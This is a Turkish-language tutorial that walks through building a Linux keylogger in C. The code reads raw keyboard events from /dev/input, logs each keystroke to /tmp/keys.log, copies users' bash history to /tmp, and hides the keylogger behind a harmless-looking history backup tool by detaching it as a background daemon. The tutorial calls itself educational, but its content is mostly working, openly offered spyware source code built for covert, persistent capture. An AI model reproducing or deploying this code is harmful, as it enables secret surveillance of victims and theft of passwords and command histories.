medikeyl: Örnek ve Basit Keylogger Tasarımı ile Daemon Oluşturma(C)
____ ____ ____ ____ ____ ____ ____ ____
||m |||e |||d |||i |||k |||e |||y |||l ||
||__|||__|||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|
medikeyl :: Sample and Simple Keylogger(Linux)
Konular:
-
Genel Mimari Yaklaşım
-
medikeyl Tasarımı
-
Problemler ve Geliştirmeye Açık Yönler
-
Ekstra Özellik Çalışmaları
-
Clipboard Özelliği
-
Bash History Yedekleme Özelliği (Histbaker)
-
medikeyl'ı Gizlemek (Child Process to Parent)
-
Sonuç
-
medikeyl ve Histbaker Kaynak Kodu
Merhabalar. Projemizde Linux ortamında basit seviyede C dili kullanarak klavye log yani keylogger oluşturacağız. Hazırladığımız bu zararlıyı farklı bir uygulama(Histbaker) ile çocuk prosesten anne prosese çevireceğiz ve daemon oluşturağız. Histbaker'da yine bizim tarafımızdan yazılacak olan basit bir bash history yedekleme aracıdır. medikeyl ve diğer işlemlerimizde yer vereceğimiz örneğimizdeki amacımız; öğretici, anlaşılır ve pratik bir teknik referans sunarak araştırma konusu sağlamaktır.
Genel Mimari Yaklaşım
Klavyelerin anlamlandırılması ve dil paketleri ek bir programlama istemekte ve işletim sistemlerine göre de değişkenlik göstermektedir. Konuyu ele alarken Linux işletim sistemimizde EN-* İngilizce klavye kullanıldığını varsayarak adım adım keylogger hazırlayacağız. medikeyl, temel yapıda bir keylogger yazılımı olacak. Örnek çalışmamızda "Ubuntu 22.04.5 LTS / Kernel 6.8.0-60-generic" kullanıyor olacağız. Öncelikle klavye mouse gibi INPUT olarak sayılan donanımların işletim sistemi üzerindeki işlenme ortamını ve mantığını ele alalım. Mevcut işletim sistemimizde kullanıcı inputları "/dev/input/by-path" dizininde ele alınmaktadır. /dev/input/by-path altındaki dosyalar log dosyası değildir ve metin formatında değildir. Bunlar binary karakter aygıtlarıdır. /dev/input/by-path bir udev tarafından oluşturulan sembolik link (symlink) dizinidir. Buradaki dosyalar: Gerçek cihaz dosyalarına (/dev/input/eventX, /dev/input/mouseX, vb.) Fiziksel bağlantı yoluna göre isimlendirilmiş linklerdir. Yani /dev/input/by-path altındakiler Kernel input subsystem’e bağlı Canlı cihaz arayüzleridir. Bu dosyalar: cat ile okunamaz (okunur ama anlamsız karakterler çıkar). Satır bazlı değildir. struct input_event formatında binary veri üretir. Dolayısıyla bu dosyalar Binary olarak parse edilmelidir.medikeyl Tasarımı
İlk işlem /dev/input/by-path/ dizini içerisinde "kbd" değerini taşıyan bir dosya olup olmadığını kontrol etmekdir. Bu dosyayı doğrudan işleme alabiliriz.
#define INPUT_BY_PATH "/dev/input/by-path/"
#define KBD_TOKEN "kbd"
int KBDFind(char *out_path, size_t out_size)
{
DIR *dir;
struct dirent *entry;
dir = opendir(INPUT_BY_PATH);
if (!dir) {
return -1;
}
while ((entry = readdir(dir)) != NULL) {
if (strstr(entry->d_name, KBD_TOKEN) == NULL)
continue;
int written = snprintf(
out_path,
out_size,
"%s%s",
INPUT_BY_PATH,
entry->d_name
);
closedir(dir);
if (written < 0 || (size_t)written >= out_size) {
return -2; // buffer cok kucuk
}
return 0; // basarili
}
closedir(dir);
return 1; // keyboard bulunamadi
}
Ana fonksiyon içerisinde ise değişkenlerimizin tanımlamalarını yaparak KBDFind fonksiyonunu çağıracağız.
Dolayısıyla ilk işimiz input arayüzünü keşfetmek olacaktır.
int main(void){
char keyboard_path[256];
if (KBDFind(keyboard_path, sizeof(keyboard_path)) == 0) {
printf("Klavye : %s\n", keyboard_path);
} else {
printf("Klavye bulunamadi.\n");
}
Yukarıda bahsettiğimiz üzere dosyamız struct input_event formatında binary veri üretmektedir.
Yani doğrudan cleartext olarak işleme alamıyoruz. Debug etmek, anlamak ve takip etmek için "evtest" komutundan faydalanabiliriz.
evtest; klavyeler, fareler, dokunmatik yüzeyler, joystickler ve dokunmatik ekranlar gibi Linux çekirdeği giriş aygıtlarından gelen ham giriş olaylarını izlemek ve test etmek için kullanılan bir komut satırı yardımcı programıdır.
Yüklü olmama ihtimali yüksektir. Dolayısıyla mevcut Ubuntu işletim sistemimiz için "apt install evtest" komutuyla kurulum yapabiliriz.
if(strlen(keyboard_path) > 0){
int fd;
fd = open(keyboard_path, O_RDONLY);
if(fd == -1){
printf("Klavye gunlugu okunamadi. Yetkisiz erisim soz konusu olabilir.\n");
return 1;
}
struct input_event ev;
ssize_t n;
while(1){ // Event icerisinden anahtarlari okuyarak yansitma
n = read(fd, &ev, sizeof ev);
if(ev.type == EV_KEY && ev.value == 1){
getKeys(key_name, ev.code);
printf("%s\n", key_name + 4); // burada KEY_ kısmını kaldırıyoruz.
if(ev.code == KEY_ESC){
printf("Cikiliyor...\n");
break;
}
}
}
close(fd);
fflush(stdout);
}else{
printf("Islemler tamamlanamadi.\n");
}
Ayrıca yukarıdaki kod parçacığını incelerseniz printf("%s\n", key_name + 4) plus4 kullandığımı görebilirsiniz. Burada her karakterin başında
yer alan "KEY_" tanımını yani ilk 4 karakteri print içerisinde dikkate almamasını belirtmiş oluyoruz.
Dolayısıyla Klavye işlemlerini loglarken sadece net karşılıklarını almış olacağız.
void getKeys(char *key_name, int key_code){
switch(key_code){
case 51: strcpy(key_name,"KEY_COMMA"); break;
case 52: strcpy(key_name,"KEY_DOT"); break;
case 53: strcpy(key_name,"KEY_SLASH"); break;
case 54: strcpy(key_name,"KEY_RIGHTSHIFT"); break;
case 55: strcpy(key_name,"KEY_KPASTERISK"); break;
case 56: strcpy(key_name,"KEY_LEFTALT"); break;
case 57: strcpy(key_name,"KEY_SPACE"); break;
case 58: strcpy(key_name,"KEY_CAPSLOCK"); break;
case 0 : strcpy(key_name,"KEY_RESERVED"); break;
case 12: strcpy(key_name,"KEY_MINUS"); break;
case 13: strcpy(key_name,"KEY_EQUAL"); break;
case 14: strcpy(key_name,"KEY_BACKSPACE"); break;
case 1 : strcpy(key_name,"KEY_ESC"); break;
case 15: strcpy(key_name,"KEY_TAB"); break;
case 26: strcpy(key_name,"KEY_LEFTBRACE"); break;
case 27: strcpy(key_name,"KEY_RIGHTBRACE"); break;
case 28: strcpy(key_name,"KEY_ENTER"); break;
case 29: strcpy(key_name,"KEY_LEFTCTRL"); break;
case 39: strcpy(key_name,"KEY_SEMICOLON"); break;
case 40: strcpy(key_name,"KEY_APOSTROPHE"); break;
case 41: strcpy(key_name,"KEY_GRAVE"); break;
case 42: strcpy(key_name,"KEY_LEFTSHIFT"); break;
case 43: strcpy(key_name,"KEY_BACKSLASH"); break;
case 2 : strcpy(key_name,"KEY_1"); break;
case 3 : strcpy(key_name,"KEY_2"); break;
case 4 : strcpy(key_name,"KEY_3"); break;
case 5 : strcpy(key_name,"KEY_4"); break;
case 6 : strcpy(key_name,"KEY_5"); break;
case 7 : strcpy(key_name,"KEY_6"); break;
case 8 : strcpy(key_name,"KEY_7"); break;
case 9 : strcpy(key_name,"KEY_8"); break;
case 10: strcpy(key_name,"KEY_9"); break;
case 11: strcpy(key_name,"KEY_0"); break;
case 16: strcpy(key_name,"KEY_Q"); break;
case 17: strcpy(key_name,"KEY_W"); break;
case 18: strcpy(key_name,"KEY_E"); break;
case 19: strcpy(key_name,"KEY_R"); break;
case 20: strcpy(key_name,"KEY_T"); break;
case 21: strcpy(key_name,"KEY_Y"); break;
case 22: strcpy(key_name,"KEY_U"); break;
case 23: strcpy(key_name,"KEY_I"); break;
case 24: strcpy(key_name,"KEY_O"); break;
case 25: strcpy(key_name,"KEY_P"); break;
case 30: strcpy(key_name,"KEY_A"); break;
case 31: strcpy(key_name,"KEY_S"); break;
case 32: strcpy(key_name,"KEY_D"); break;
case 33: strcpy(key_name,"KEY_F"); break;
case 34: strcpy(key_name,"KEY_G"); break;
case 35: strcpy(key_name,"KEY_H"); break;
case 36: strcpy(key_name,"KEY_J"); break;
case 37: strcpy(key_name,"KEY_K"); break;
case 38: strcpy(key_name,"KEY_L"); break;
case 44: strcpy(key_name,"KEY_Z"); break;
case 45: strcpy(key_name,"KEY_X"); break;
case 46: strcpy(key_name,"KEY_C"); break;
case 47: strcpy(key_name,"KEY_V"); break;
case 48: strcpy(key_name,"KEY_B"); break;
case 49: strcpy(key_name,"KEY_N"); break;
case 50: strcpy(key_name,"KEY_M"); break;
case 59: strcpy(key_name,"KEY_F1"); break;
case 60: strcpy(key_name,"KEY_F2"); break;
case 61: strcpy(key_name,"KEY_F3"); break;
case 62: strcpy(key_name,"KEY_F4"); break;
case 63: strcpy(key_name,"KEY_F5"); break;
case 64: strcpy(key_name,"KEY_F6"); break;
case 65: strcpy(key_name,"KEY_F7"); break;
case 66: strcpy(key_name,"KEY_F8"); break;
case 67: strcpy(key_name,"KEY_F9"); break;
case 68: strcpy(key_name,"KEY_F10"); break;
case 69: strcpy(key_name,"KEY_NUMLOCK"); break;
case 70: strcpy(key_name,"KEY_SCROLLLOCK"); break;
}
}
medikeyl yukarıda yer alan bütünüyle kullanılmaya hazırdır.
Problemler ve Geliştirmeye Açık Yönler
Tanımlamalarımız doğru ve net bir şekilde yapılmıştır. Ancak gerçek bir keylogger senaryosunda harflerin küçük/büyük olması, satırın devam ettirilip/ettirilmediği veya özel karakterlerin kullanımı gibi kontrol edilmesi gereken bir çok mekanizma olmalıdır. Aşağıdaki gibi bir çıktımız olsun;
LEFTSHIFT
A
A
A
LEFTSHIFT
D
D
D
D
LEFTSHIFT
D
LEFTSHIFT
D
LEFTSHIFT
D
LEFTSHIFT
A
LEFTCTRL
LEFTALT
RIGHTSHIFT
P
RIGHTSHIFT
O
O
O
O
O
Bu çıktılar anahtar olarak tanımlıdır ve while döngüsüyle bastırıyoruz. Yukarıdakilerden örnek verecek olursak; Örneğin A dan önce LEFTSHIFT veya RIGHTSHIFT geliyorsa A büyük A olacak. Ancak A dan önce LEFTSHIFT veya RIGHTSHIFT yoksa A küçük a olacak. Bu diğer harfler içinde geçerli. While döngümde sanki bir önceki değeri de işleme almam gereken bir fonksiynon oluşturmam gerekiyor.
Tam “bir önceki değeri bilmek” değil, pratikte modifier state (SHIFT/CTRL/ALT) tutmak gerekiyor. Klavye event akışında doğru çözüm şu olabilir:
LEFTSHIFT / RIGHTSHIFT basıldı mı → shift = 1
LEFTSHIFT / RIGHTSHIFT bırakıldı mı → shift = 0
Ekstra Özellik Çalışmaları
Clipboard Özelliği
Ekstra özellik ne olabilir diye düşecek olursak; örneğin clipboard loglayan bir yapı olabilir. Fakat Linux içerisinde tek ve evrensel bir “clipboard” API’si yoktur. Clipboard, çalıştığın grafik yığınına göre değişir: X11: X server üzerindeki selection mekanizmasıyla (CLIPBOARD / PRIMARY) Wayland: compositor + protokoller (wlr-data-control, xdg-desktop-portal vb.) TTY / console: genelde “clipboard” diye bir kavram yoktur (terminal emülatörü kendi içinde yapabilir) Dolayısıyla “tamamen C” ile clipboard okumak mümkündür, ama X11’de Xlib ile (veya Wayland’da ilgili protokollerle) yapılır. Aşağıdaki kod parçası ile sisteminizde çalışan yapıyı keşfedebilirsiniz.
#include
#include
int main(void) {
const char *type = getenv("XDG_SESSION_TYPE");
const char *disp = getenv("DISPLAY");
const char *wdisp = getenv("WAYLAND_DISPLAY");
printf("XDG_SESSION_TYPE=%s\n", type ? type : "(null)");
printf("DISPLAY=%s\n", disp ? disp : "(null)");
printf("WAYLAND_DISPLAY=%s\n", wdisp ? wdisp : "(null)");
return 0;
}
Bash History Yedekleme Özelliği (Histbaker)
medikeyl içerisinde eş zamanlı olarak mevcut kullanıcılara ait bash_history dosyalarını yedeklemesini de belirtebiliriz. İlk amacımızın medikeyl da olduğu gibi işlem yapacağımız dosyaya ait path'in yani yolun keşfedilmesi olmalıdır. Mevcut işletim sistemimiz üzerinden örneğimize devam edeceğiz. Dolayısıyla HISTFILE gibi bash değişkenlerini veya Linux içerisinde global anlamda isimlendirilen .bash_history dosya adını keşfetmeye çalışacağız.
static int resolve_history_path(char *out, size_t out_sz)
{
const char *histfile = getenv("HISTFILE");
const char *home = getenv("HOME");
if (histfile && histfile[0]) {
if (histfile[0] == '/') {
// absolute
snprintf(out, out_sz, "%s", histfile);
return 0;
}
// relative: HOME ile birleştir
if (home && home[0]) {
snprintf(out, out_sz, "%s/%s", home, histfile);
return 0;
}
// HOME yoksa relative'i çözemeyiz
errno = EINVAL;
return -1;
}
// HISTFILE yoksa default
if (!home || !home[0]) {
errno = EINVAL;
return -1;
}
snprintf(out, out_sz, "%s/.bash_history", home);
return 0;
}
Path keşfedildikten sonra ise "/tmp/history-TARİH" formatında mevcut history içeriğini tmp kulasörüne kopyalayarak kaydedeceğiz.
Bu işlemi ise aşağıdaki kod bütünüyle sağlayabiliriz.
static int copy_file(const char *src, const char *dst)
{
int in = open(src, O_RDONLY);
if (in < 0) return -1;
// /tmp altında yazacağımız dosya: 0600 yeterli
int out = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (out < 0) {
close(in);
return -1;
}
char buf[64 * 1024];
for (;;) {
ssize_t r = read(in, buf, sizeof(buf));
if (r == 0) break;
if (r < 0) {
if (errno == EINTR) continue;
close(in);
close(out);
return -1;
}
ssize_t off = 0;
while (off < r) {
ssize_t w = write(out, buf + off, (size_t)(r - off));
if (w < 0) {
if (errno == EINTR) continue;
close(in);
close(out);
return -1;
}
off += w;
}
}
close(in);
if (fsync(out) != 0) { // diske yazmayı zorla
close(out);
return -1;
}
close(out);
return 0;
}
MAIN yapımızda bu fonksiyonları sırasıyla çağırarak dosya kopyalama işlemini tamamlayacak.
int main(void)
{
char src[PATH_MAX];
if (resolve_history_path(src, sizeof(src)) != 0) {
fprintf(stderr, "History path çözülemedi (HISTFILE/HOME). errno=%d\n", errno);
return 1;
}
struct stat st;
if (stat(src, &st) != 0) {
fprintf(stderr, "History dosyası bulunamadı: %s (errno=%d)\n", src, errno);
return 1;
}
if (!S_ISREG(st.st_mode)) {
fprintf(stderr, "History path normal dosya değil: %s\n", src);
return 1;
}
// /tmp/history-YYYYMMDD-HHMMSS
time_t t = time(NULL);
struct tm tm;
localtime_r(&t, &tm);
char ts[32];
strftime(ts, sizeof(ts), "%Y%m%d-%H%M%S", &tm);
char dst[PATH_MAX];
snprintf(dst, sizeof(dst), "/tmp/history-%s", ts);
if (copy_file(src, dst) != 0) {
fprintf(stderr, "Kopyalama başarısız: %s -> %s (errno=%d)\n", src, dst, errno);
return 1;
}
printf("OK: %s\n", dst);
return 0;
}
ChatGPT e kodlarımızın global çalışması için neler yapabiliriz? sorusunu yönelttiğimde bana _POSIX_C_SOURCE 200809L tanımlamasını önerdi.
_POSIX_C_SOURCE 200809L kullanılmasının bazı POSIX fonksiyonlarının bildiriminin (prototype) görünür olmasını garanti altına alınabildiği önemli bir bilgidir.
_POSIX_C_SOURCE bir feature-test macrosudur.
C standardı (ISO C) sadece çok temel fonksiyonları garanti eder.
Unix/Linux’ta kullandığımız birçok fonksiyon ise POSIX standardına aittir.
Örnek POSIX fonksiyonları:
open
read
write
ftruncate
fsync
localtime_r
popen
usleep
Derleyici, hangi POSIX sürümünü hedeflediğini bu macro’ya bakarak belirler.
200809L, POSIX.1-2008 standardını ifade etmektedir.
Kısacası yaptığımız tanım "Bu kaynak dosyada POSIX.1-2008’e kadar olan API’leri kullanacağım." anlamına gelmektedir.
Aşağıdaki gibi POSIX fonksiyonlarının prototype’larını gizlendiği senaryolarda kullandığımız POSIX API fonksiyonlarında sorun yaşanmaması amacıyla kullanılmaktadır.
warning: implicit declaration of function ‘popen’
warning: implicit declaration of function ‘localtime_r’
Kodumuzda open, read, write, fsync, localtime_r ve stat gibi fonksiyonlar yer almaktadır.
Sonuç olarak kodumuz aşağıdaki gibi tam sürümünü alabilir.
Medikeyl'ı Gizlemek (Child Process to Parent)
Yukarıda bazı özelliklere ve noktalar değindik. Peki ana amacımız olan keylogger programını zararsız bir history yedekleme programı içerisinden çağırarak arka planda kalıcılığını nasıl sağlarız? Parent proses sonlandığında child’ın(Anne/Çocuk) devam etmesi için parent’ın yapması gereken şey, child’ı ayırmak (detach) ve parent öldüğünde child’ın ölmesine neden olacak mekanizmaları (terminal/HUP, process group, vb.) devre dışı bırakmaktır. Kullanacağımız mantık; Parent'ı fork() etmek ve çıkarmak, sonrasında ise setsid() ile child'ı özgür bırakmak olacak.
pid_t pid = fork();
if (pid < 0) {
perror("fork");
return -1;
}
Mevcut işlemi fork ediyoruz.
if (pid > 0) {
return 0;
}
Parent'ın child’ı bekleyip çıkmasını sağlıyoruz.
if (setsid() < 0) {
_exit(127);
}
Child için yeni bir oturum oluşturuyoruz.
Son olarak aşağıdaki gibi Çocuk işlemin daemon haline gelmesine adını çalıştığını dizini değiştiriyoruz ve
onu ayrı ve bağımsız bir proses haline getiriyoruz.
// Working directory değiştir
if (new_cwd && new_cwd[0]) {
if (chdir(new_cwd) != 0) {
// İstersen hata halinde yine de devam edebilirsin; burada fail ediyoruz
_exit(127);
}
} else {
// new_cwd verilmezse / yap (daemon alışkanlığı)
if (chdir("/") != 0) {
_exit(127);
}
}
// Terminal I/O'yu kes
int fd = open("/dev/null", O_RDWR);
if (fd >= 0) {
dup2(fd, STDIN_FILENO);
dup2(fd, STDOUT_FILENO);
dup2(fd, STDERR_FILENO);
if (fd > 2) close(fd);
}
// Child programı çalıştır
execvp(argv[0], argv);
_exit(127);
Gerçekleştirdiğimiz tüm işlemleri bir araya getirelim ve kullanışlı, yardımcı isage notları yerleştirelim.
// --help desteği (getopt'tan önce kontrol)
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--help") == 0) {
usage(argv[0]);
return 0;
}
}
Main için yukarıdaki help/yardım argümanını ekleyebiliriz ve aşağıdaki tanımlamaları yapabiliriz.
case 'w':
child_cwd = optarg;
break;
case 'c': {
// -c <prog> [args...] → geri kalan her şey child'a ait
int prog_index = optind - 1;
child_argv = &argv[prog_index];
goto end_opts; // option parsing burada biter
}
medikeyl aslında canlı output ileten bir yazılımdı. Fakat şimdi onu daemon olarak kullanacağımız için çıktıları bir dosyaya yazmak zorunda.
Keylogger mantığıyla toplanan bilgileri test amaçlı /tmp/keys.log dosyasına yazdıralım. Aşağıdaki gibi ufak bir değişiklik yapacağız.
while(1){ // Event icerisinden anahtarlari okuyarak yansitma
n = read(fd, &ev, sizeof ev);
if(ev.type == EV_KEY && ev.value == 1){
getKeys(key_name, ev.code);
printf("%s\n", key_name + 4); // burada KEY_ kısmını kaldırıyoruz.
if(ev.code == KEY_ESC){
printf("Cikiliyor...\n");
break;
}
}
}
yukarıdaki bütünü aşağıdakiyle değiştirebiliriz.
FILE *out = fopen("/tmp/keys.log", "a"); // append
if (!out) {
perror("fopen");
return 1;
}
while (1) {
n = read(fd, &ev, sizeof ev);
if (n <= 0) continue;
if (ev.type == EV_KEY && ev.value == 1) {
getKeys(key_name, ev.code);
fprintf(out, "%s\n", key_name + 4); // KEY_ kaldırılmış hali
fflush(out); // log ise ÖNEMLİ
if(ev.code == KEY_ESC){
printf("Cikiliyor...\n");
break;
}
}
}